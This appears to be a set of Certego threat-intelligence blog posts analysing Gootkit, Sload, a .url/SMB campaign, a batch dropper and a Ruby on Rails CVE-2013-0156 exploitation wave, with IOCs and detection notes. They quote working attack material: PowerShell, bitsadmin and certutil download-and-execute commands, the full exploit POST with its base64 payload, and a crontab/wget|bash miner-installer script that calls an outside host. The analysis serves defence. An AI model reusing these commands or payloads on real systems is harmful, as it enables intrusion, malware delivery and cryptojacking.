The downloaded file is a heavily obfuscated Javascript file called "GLS_Notifica.js". If the user opens it, the native Javascript interpreter wscript.exe would be executed by default and it would perform the following HTTP request:


The result is the download of a cabinet file that is an archive file which can be extracted natively by Windows. Inside there is a Portable Executable file that is saved into the %TEMP% folder (“C:\Users\<username>\AppData\Local\Temp”) and launched.

Javascripts downloaders are a common payload delivery because a little obfuscation can be enough to make them very difficult to be detected by antivirus engines.

Gootkit executable:

First run of the sample in an automated environment revealed that something new was added in this version. As we can see in the following images, malware authors added a new layer of protection to the malicious agent. The comparison has been made with a variant spread during December of 2018 in Italy. (images are from AnyRun)

This means that the original program was “packed” with the aim to slow down reverse engineers and to make ineffective static analysis tools like Yara rules.

Stage 1: Packed Gootkit

In such cases, a malware analyst knows that he has to extract the original payload as fast as possible without losing time to try to understand the inner workings of this stage.

A great open-source tool exists which can resolve the problem in a matter of seconds. It’s called PE-Sieve (Github). Even though it does not always work, in this case it can dump the unmapped version of the original executable because the malicious software uses a technique called Process Hollowing a.k.a. RunPE. This method consists in starting a new process in a suspended state, “hollowing” out the content of the process, replacing it with malicious code and, finally, resuming the thread.

In the image we can see that the 6th parameter of "CreateProcessW" was set to "4", indicating that the process will start in a suspended state.

We are talking about a well known technique that is easily detectable with the monitoring of the Windows API calls that are needed to perform the injection. But here comes the trick.

Following the flow of execution we couldn’t find all the needed API calls: we got NtCreateProcess, NtGetContextThread, NtReadVirtualMemory and NtSetContextThread.

The most important ones that are used by monitoring applications to detect the technique were missing:

  • NtUnmapViewOfSection to “hollow” the target process
  • NtWriteVirtualMemory to write into the target process
  • NtResumeThread to resume the suspended thread

Let’s find out what’s happening!

After some shellcode injections inside its memory space, the process executes a call to IsWow64Process API that is used by the application to understand if the process is running under the WOW64 environment (Wiki): this is a subsystem of the Windows OS that is able to run 32-bit applications, like this one, on 64-bit operating systems.

The result of this check is used to run two different paths of code but with the same scope: run one of the aforementioned missing API calls in the Kernel mode. This means that, in this way, classic user-level monitoring tools would not catch these calls and the RunPE technique would remain unnoticed.

Specifically, in case the process is running in a 32-bit environment, it would use the SYSENTER command to switch into the Kernel mode, while, on the contrary, it would use the SYSCALL command to perform the same operation.

To complicate even further, the SYSCALL command can’t be called in the context of a 32-bit application. This means that the executable needs to perform a “trick-into-the-trick” to execute this operation. We are talking about a technique known as The Heaven’s Gate.

Practically, thanks to the RETF instruction, it’s possible to change the code segment (CS) from 0x23 to 0x33, de facto enabling 64-bit mode on the running process.

In the following image we highlight the entrance and the exit of the “Gate” which contains the 64-bit code that performs the SYSCALL operation.

Instead, in this other image, we can see the process status before opening the gate (grey=suspended process) and after having closed it (orange=running process).

Also, Gootkit takes advantage of The Heaven’s Gate as an anti-debugging technique because the majority of commonly used debuggers can’t properly handle this situation, not allowing the analyst to follow the code of the Gate step-by-step.

For further details, this method was deeply explained in this blog (MalwareBytes)

Going back to the point, the first stage resulted more complicated than expected because it pushed over the limits of obfuscation and stealthiness with the combination of various techniques.

Stage 2: Gaining a foothold

At this point we can proceed with the analysis of the unpacked Gootkit.

The very first considerable finding was the check for the existence of a mutex object named “ServiceEntryPointThread”. If it exists, the process would terminate itself.

But how mutexes works? Mutexes are used as a locking mechanism to serialize access to a resource on the system. Malware sometimes uses it as an “infection marker” to avoid to infect the same machine twice. The fascinating thing about mutexes is that they are a double-edged weapon: security analysts could install the mutex in advance to vaccinate endpoints. (ref: Zeltser blog)

This means that this is a great indicator of compromise that we can use not only to detect the infection but also to prevent it.

Moving on, we found that malware authors implemented a lot of checks to understand if the malware is running inside a virtual environment. Some of them are:

  • It checks if the registry key “HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString” contains the word “Xeon”

  • it checks if the computer name is “7SILVIA” or “SANDBOX”, if the username is “CurrentUser” or “Sandbox” or if “sbiedll.dll” has been loaded.

  • it checks if “HKLM\HARDWARE\Description\System\VideoBiosVersion” contains the word “VirtualBox”

  • it checks “HKLM\Software\Microsoft\Windows\CurrentVersion\SystemBiosVersion” for the string “VBOX”

In the case one of this check fails, the program would execute a Sleep operation in a infinite cycle in the attempt to thwart automated sandbox execution.

After that, we encountered the implementation of a particular persistence mechanism that it seems Gootkit has been using for many months: it’s already documented in various blog posts, for ex. ReaQta blog.

Briefly, the infostealer generates a INF file with the same filename of itself.

Content of the INF file:

Then it creates 3 different registry keys (“Count”, “Path1” and “Section1”) inside “HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs” with the purpose to allow the threat to execute on reboot.

It seems that this technique was reported to be used only by Gootkit.

Famous security tools still can’t detect this mechanism even if it has been used for months.

For example, the famous SysInternal Autoruns tool, that should be able to show all the programs that are configured to run on system bootup or login, fails the detection of this persistence method.

Stepping through the code, we noticed that, at runtime, Gootkit decrypts the strings it uses with a custom algorithm to evade static analysis detection of anomalous behaviour.

It’s a combination of “stack strings”, XOR commands and the modulo operation.

An exhaustive explanation of the decryption routine can be found here:link

Skipping further, eventually there’s a call to “CreateProcessW” to start a new instance of Gootkit with the following parameter: --vwxyz

Stage 3: Check-in phase

Quickly we found out that executing the malware with the cited parameter allows us to skip all the previous anti-analysis controls to get into the part of the code that starts to contact the Command & Control Server.

The first check-in to home is done to the following URL via HTTPS:

GET hxxps://avant-garde[.]host/rbody32

As we can see from the image, many headers were added to the request to send different informations of the infected machine to the C&C Server.

In particular one of the headers caught my attention: “ X-IsTrustedComp”. Digging into the code we found that the value would be set to “1” if an environment variable called “crackmeololo” was found in the host, “0” otherwise.

That seems another “escaping” mechanism implementing by the author, probably to stop the infection chain for his own debugging purposes.

Last stage:

The response that arrives from the previous connection contains the final stage of Gootkit, configured to work properly on the infected machine.

The malware dynamically loaded “RtlDecompressBuffer” call to use it to decompress the payload; then, it injected into an area of the current process memory.

Afterwards the flow of execution is transferred to the start of the injected code.

The final payload is a DLL file that is bigger than 5MB because it contains the Node.js engine which is probably needed to run some embedded javascript files. At this time we decided to stop our analysis and leave the rest to future work.

Additional findings:

While debugging, we noticed that Gootkit does not check only if a parameter called “ --vwxyz” was passed to the command line. Also it checks if other 3 parameters:

  • --reinstall

  • --service

  • -test

Pretty strange thing. We haven’t found the malware to actively use these arguments yet. However, stepping through code we discovered that:

1 - the “--reinstall” command leaded the execution to some curious code. First, the malware used “CreateToolHelp32Snapshot” to retrieve a list of the current running processes.

Then, it iterated through the retrieved list via “ Process32FirstW” and “Process32NextW” with the aim to get a handle to the active “explorer.exe” instance.

At this point it killed “explorer.exe”. The following image shows the process list before the “TerminateProcess” command.

After having executed that command, we found that a new instance of the malware spawned as a child of “explorer.exe”.

What happened? We performed some tests and it seems that “ explorer.exe” was killed and then automatically restarted by “winlogon.exe”. Therefore “explorer.exe” accessed the keys involved in the persistence mechanism previously explained:

Using this trick, the malware is able to “reinstall” itself, without the need to use suspicious API calls like “ CreateProcessW”.

2 - the “ --service” command did not change the flow of execution with the exception of creating a new environment variable called “USERNAME_REQUIRED” and set it to “TRUE”.

Eventually we found that the final stage checks if the aforementioned variable exists.

3 - the “ -test” command just terminate the process. Indeed it’s a test.


We explored some of the functionalities of one of the most widespread Infostealers of these days, revealing new and old tricks that is using to remain undetected as much time as possible.

Certego is actively monitoring every day threats to improve our detection and response methods, continuously increasing the effectiveness of the incident response workflow.

PS: Let us know if you liked this story and feel free to tell us how we can improve it!


gootkit 1st stage
gootkit 2nd stage
gootkit DLL module

About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader


Licenza Creative Commons
Quest'opera è distribuita con Licenza Creative Commons Attribuzione - Non commerciale - Non opere derivate 4.0 Internazionale.

Hi everyone, here is Matteo Lodi, Threat Intelligence Analyst in Certego.

Recently, we saw a particular new spam campaign targeting italian users with the focus of delivering a downloader known as Sload.

Nowadays, attackers are trying harder and harder to make difficult the analysis and the detection. The most common tool misused in this way is Powershell: it's installed by default in every recent version of Windows and is commonly used to perform administrator tasks.

The infection chain

Let's dig in the infection chain:

1. A user receives an email with subject "<TARGET_COMPANY_NAME> Emissione fattura <random_number>" containing a reference to a fake invoice.

The user is tricked to click on the malicious link that points to a randomly generated domain hosted with HTTPS in 91.218[.]127.189. The following is an example:


2. Once downloaded, if the user opens the archive, it would find two files. The first one is a legit image, while the second one is a .lnk file. We have already seen the misuse of shortcut files with powershell to perform the download of malicious samples. But this time it seemed different: in fact, the .lnk points to the following command:

cmd.exe /C powershell.exe  -nop -eP ByPass -win hi"d"den -c "&{$9oc=get-childItem -path c:\users\* -recurse -force -include documento-aggiornato-novembre-*.zip;$7ig=get-content -LiteralPat $9oc.fullname;$7ig[$7ig.length-1]|iex}

3. Where is the download? At first glance, that seemed very strange: what is the aim of this execution? After having analyzed the command, the trick was clear. The attackers wants to call "Invoke-Expression" command to run a string hidden inside the zip itself!! But where?

As we can see in the following image, at the end of the original downloaded zip file we can see readable strings that are the real first stage downloader!!

The zip file is still a legit and correctly working archive! Powershell commands are written after the EOCD (End of central directory) which determines the end of a zip file.

This clever trick can deceive many signatures-based detection tools.

4. The extracted command is the following:

"C:\WINDOWS\system32\cmd.exe" /c echo 1 > C:\Users\REM\AppData\Roaming\<UUID>\d  & bitsadmin /wrap /transfer fredikasledi /download /priority FOReGrOUnd "" C:\Users\REM\AppData\Roaming\<UUID>\fCBvxsTUjdWwkO.ps1 & del C:\Users\REM\AppData\Roaming\<UUID>\d & exit

5. The result is the download and the execution of another powershell script from a server hosted in 185.17[.]27.108. We saw different domains used but, in the last week, the Dropzone IP never changed. Also, we noted that the CnC server was blocking requests without the "Microsoft BITS/7.5" User-Agent to prevent unwanted download by non-infected machines.

This script was very well detected by antivirus engines as you can see in the following image!

How funny was I? Static analysis is completely useless in such cases.

Going forward, the malware drops the following items before deleting itself:

web.ini -> encrypted config file which stores second stage CnC servers URLS

config.ini -> encrypted file which contains the final powershell payload

<random_name>.vbs -> vbs script, next stage

<random_name>.ps1 -> called by the .vbs

Therefore it registers a task called "AppRunLog" to maintain persistence

6. At the end, it calls the registered task. This will execute the dropped Visual Basic Script file that, in turn, will execute the dropped Powershell script:

param ([string]$k = "");
$jjyd=Get-Process -name powershell*;
if ($jjyd.length -lt 2){
$asdfasdf = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
$log = $env:APPDATA+"\"+$asdfasdf;
$key=$k -split "," ;
$Secure= Get-Content $log"\config.ini";
$Encrypted= ConvertTo-SecureString $Secure -key $key;$slStr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);
$rStr = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($slStr);
Invoke-Expression $rStr;}

This script parses arguments and it won't execute properly in case they are not what it expects. It needs the numbers from 1 to 16 as arguments because, in fact, they are the key to decrypt the last stage.

7. The final payload is decrypted from the "config.ini" file and is called with "Invoke-Expression". It's loaded directly in memory: this makes very difficult for antivirus products to detect the threat. At the moment, this execution method is widely known as "fileless" because, indeed, the malware is never written on disk.

The payload is the last (finally) powershell script: it is the real Sload downloader which performs various malicious steps that were already explained in details in the article written by Proofpoint.

In few words, Sload can:

  1. Load external binaries
  2. Take screenshots
  3. Update configuration and CnC servers
  4. List running processes
  5. Detect Outlook usage

The variant we spotted in the last week uses the following CnC domains, which resolve in the same IP used by the second downloader stage (185.17[.]27.108)

ljfumm[.]me (HTTPS)
hamofgri[.]me (HTTPS)

However, we expect that this configuration won't last long, because, as we said before, Sload is able to update his CnC servers at any time.


We had a fantastic journey that made us understand, hopefully, how powerful can be Powershell and how attackers are misusing this tool to evade analysis detection.

We analyzed 5 different powershell scripts and that was only the "downloader" phase of the infection.

In case of a successfull one, Sload was seen to download known malware like Ramnit, Gootkit, DarkVNC or Ursnif (reference: Proofpoint). At that stage the threat would be really important.

Certego is monitoring the campaign and it's updating its signatures to correctly detect possible infections.


First stage download: (many and changing fast)

Second stage download: (many and changing fast)

CnC servers: (stable through the last week)

Hash (sha256):

first stage

second stage


Certego Threat Intelligence platform is observing some SPAM campaigns which are using  .url files as first-stage downloader to spread malware and avoid anti-SPAM filters.

What are .url files?  This file type is usually used by Windows OS to save a web link, that it can be accessed easily by a simple click. These are normally licit files and harmless files, however they can be abused to create malicious links.

The particularity of these campaigns lies not only in the use of this particular type of file, but also in how these have been configured. In fact, all analyzed samples so far used particular URLs, in which the schema is not the well known and popular http (or https). Instead, file is used.

What does file schema do? Normally this schema is used to access local filesystem. It can also be used to explore remote ones: on Windows these are accessed via SMB protocol.

It seems just a new way to deliver malware using SMB.

How does this attack work? As in every SPAM campaign, the victim receives a mail which tells him that an important document is inside the attached ZIP archive.

Once ZIP content is extracted, the user faces what he belives a simple Windows' link (because it is really a link!).
After double-click it, the host tries to connect with remote server via SMB. Then a JScript is served which, once received, asks to be launched or saved.

JScript file is the second-stage downloader: it will contact an other remote server from which it will download a malicious executable file.
Till now, payload was a variant of Quant Loader malware, which aims getting persistence on the infected host and downloading others malware (third-stage downloader).

How can we protect ourself from this kind of attack?

As for every mail based attacks first defence line is made of anti-SPAM filters. However the main component remains users, cause without their intervention this kind of attacks wont succeed. Therefore, the main goal should be training the userbase on this phenomenon.

SPAM subjects

Emailing: <random>
Unpaid invoice [ID:<random>]
Bill No

Read more

Hi everyone, here’s Matteo Lodi, member of the Incident Response Team.

Today, we want to talk about a new threat we have just detected while analyzing the alerts generated by our platform.

Everthing started from the analysis of the following ET Signature ET TROJAN Windows executable base64 encoded.

At the first glance, it seemed that there were no executables downloaded.

That was quite strange. A deeper analysis showed that many hosts belonging to one of our customers downloaded a zip file from different domains but the same IP.

Here we are! We could guess that a new spam campaign has just started and many domains are being used to deliver a malware.

So, we started to analyze “Nuovo documento” to understand what kind of threat it is. Once uncompressed, we found inside a batch file called “Nuovo documento 2018.bat”.

The first two lines are the following:

@echo off
start http[:]//

Oh, let’s see what it is:

A poorly trained eye could have just said to himself: “Well that’s just an image, this batch is harmless”

But it wasn’t. In fact, the batch file was other 200 empty lines long and, at the end of it, there were the following statements:

certutil -urlcache -split -f http[:]// %TEMP%\tritype.txt > NUL
certutil -decode %TEMP%\tritype.txt %TEMP%\unslss.exe > NUL
start %TEMP%\unslss.exe

So we found that it’s a downloader. It tries to get a fake php file that, indeed, it’s the base64 encoded executable reported by our platform.

We also noticed the CnC server has implemented a domain whitelist and it allows to download the malware only by the IPs it sent the phishing campaign. If someone tries to get the zip file connecting from other IPs, the site would return a xml empty page.

First VirusTotal analysis wasn’t really satisfying because there was no indication about the malware classification, enhancing our hypothesis about a new spreading threat:

Then, we sent the malware to our threat intelligence platform for further analysis.

External and internal feed couldn't identify with ease what kind of malware it is.

In fact, as already said, the threat is new: manual or automatic analysis didn't get a perfect indication. However, this kind of anti-VM and anti-debugging abilities could lead us to guess that it's an infostealer, probably a Ursnif variant.

Meanwhile, we alerted the customer: to contain the threat, we worked together to find the mail responsible of the infection. The mail was the following one:


Subject: fattura in sospeso

Da un controllo effettuato abbiamo visto che ha dei conti non pagate.
Se i conti non saranno saldati  entro 7 giorni, saremo costretti  a interrompere  la nostra collaborazione.
Se al contrario già effettuato il pagamento, li chiediamo di inoltrare la conferma.
E possibile visualizzare più dettagliato riguardo il saldo cliccando sul seguente link: documento

Cordiali Saluti

So, as already seen in older phishing campaigns, users have to pay attention to emails with “pending invoice” or similar as subject and they haven’t to get tricked to click to the link provided after panicking about a fake unpaid bill.


We found a new spam campaign delivering an evasive infostealer, targeting at least Italian users




www.synchronr[.]com/jcsuyg?wkblw=142954 (Download)
www.hollywoodisruption[.]com/evhp?pdf=37857 (Download)
cloudblueprintprogram[.]com/images4.php (Malware)


e1e4e1c8288a62c7f4acb9ba4b5d2a57 malware.exe (malware)
c7bfa2bb1a027d6179eaa5d48465fad3 images4.php (malware base64 encoded)
a09916eb46ff94a89f09a072100eb3eb Nuovo documento 2018.bat (dropper)

Our threat intelligence platform has been logging a huge spike in ruby http exploiting since yesterday (10 January) at 23:00.

The exploit has been trying to leverage a fairly old CVE (CVE-2013-0156) that allows remote code execution. The following public Emerging Threat signature cover the exploit:

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET CURRENT_EVENTS Possible CVE-2013-0156 Ruby On Rails XML POST to Disallowed Type YAML"; flow:established,to_server; content:"POST"; http_method; content:"|0d 0a|Content-Type|3a 20|"; pcre:"/^(?:application\/(?:x-)?|text\/)xml/R"; content:" type="; http_client_body; nocase; fast_pattern; content:"yaml"; distance:0; nocase; http_client_body; pcre:"/<[^>]*\stype\s*=\s*([\x22\x27])yaml\1/Pi"; reference:url,!topic/rubyonrails-security/61bkgvnSGTQ; classtype:web-application-attack; sid:2016175; rev:3; metadata:created_at 2013_01_09, updated_at 2013_01_09;)

The attacker has been sending the following data through a POST request:

POST / HTTP/1.1..Host: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)..X-HTTP-Method-Override:get..Content-Type: application/xml..Content-Length: 604....<xAdwt type='yaml'>--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection.'LtUgJyxM; eval(%[c3lzdGVtKCdjcm9udGFiIC1yOyB3Z2V0IC1WJiZlY2hvICIxICogKiAqICogd2dldCAtcSAtTyAtIGh0dHA6Ly9pbnRlcm5ldHJlc2VhcmNoLmlzL3JvYm90cy50eHQgMj4vZGV2L251bGx8YmFzaCA+L2Rldi9udWxsIDI+JjEifGNyb250YWIgLTt3Z2V0IC1WfHxjdXJsIC1WfGVjaG8gIjEgKiAqICogKiBjdXJsIC1zIGh0dHA6Ly9pbnRlcm5ldHJlc2VhcmNoLmlzL3JvYm90cy50eHQgMj4vZGV2L251bGx8YmFzaCA+L2Rldi9udWxsIDI+JjEifGNyb250YWIgLScpCg==].unpack(%[m0])[0]);' : !ruby/object:ActionController::Routing::Route. segments: []. requirements:. :MsLmhhug:. :FR: :MKqyF.</xAdwt>

The attacker sends a base64 encoded payload inside a POST request in the hope that the ruby interpreter configured on the server will execute it. By unpacking the payload we obtained the following code:

system('crontab -r; wget -V&&echo "1 * * * * wget -q -O - <a href=""></a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -;wget -V||curl -V|echo "1 * * * * curl -s <a href=""></a> 2>/dev/null|bash >/dev/null 2>&1"|crontab -')

This is a very simple bash script that adds a new entry in the crontab of the host. The cronjob is executed once per hour (notice the number 1: it means every first minute of every hour) and it downloads the file robots.txt via wget. The file is piped through bash, so most probably it’s a text file containing a shell script. By manually downloading it we can confirm our hypothesis. This is the file content:

touch .test||cd /dev/shm||cd /tmp 2>/dev/null
>$MAIL&&chmod 000 $MAIL
rm .test 2>/dev/null
rm sshd* 2>/dev/null
pkill -9 xmrig 2>/dev/null
pid=$(pgrep -f -o 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8')
test $pid && pgrep -f 'tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8' | grep -vw $pid | xargs -r kill -9
pgrep -f tQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8 && exit 0
wget --no-check-certificate "$x86_64" -O .sshd||curl -k "$x86_64" -o .sshd
wget --no-check-certificate "$i686" -O .sshd.i686||curl -k "$i686" -o .sshd.i686
chmod +x .sshd .sshd.i686
pgrep -f hashvault||./.sshd -o -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href=""></a> -O /dev/null --user-agent "$(uname -p)"||curl <a href=""></a> --user-agent "$(uname -p)"
pgrep -f hashvault||./.sshd.i686 -o -u 45e9rBtQwSXfdLn6avycd1bMp6RJTsNfwdPrMPWbz8crBXzPeGPLM6t8QE3s6JS5LNJUGMGmibF9yZhjVoCbUvz989EsT6h -p x -k -B||wget <a href=""></a> -O /dev/null --user-agent "$(uname -a)"||curl <a href=""></a> --user-agent "$(uname -a)"<br />

The script checks if there is a a coinminer already in execution and, if not, it downloads the coinminer from http://internetresearch[.]is/sshd (or sshd.i686), launching it afterwards. We found the coinminer used is the linux version of XMRIG Cpu Miner http://internetresearch[.]is/sshd

IOC 80 GET http://internetresearch[.]is/robots.txt (Cronjob Bash script) 80 GET http://internetresearch[.]is/sshd (x86-64 XMRIG coinminer download) 80 GET http://internetresearch[.]is/sshd (i686 XMRIG coinminer download) 80 GET http://internetresearch[.]is/sshd (Sending system Info in User Agent) 

XMRIG Executable:
MD5:  761f5cfd0a3cddb48c73bc341a4d07a9
FileSize: 723080 bytes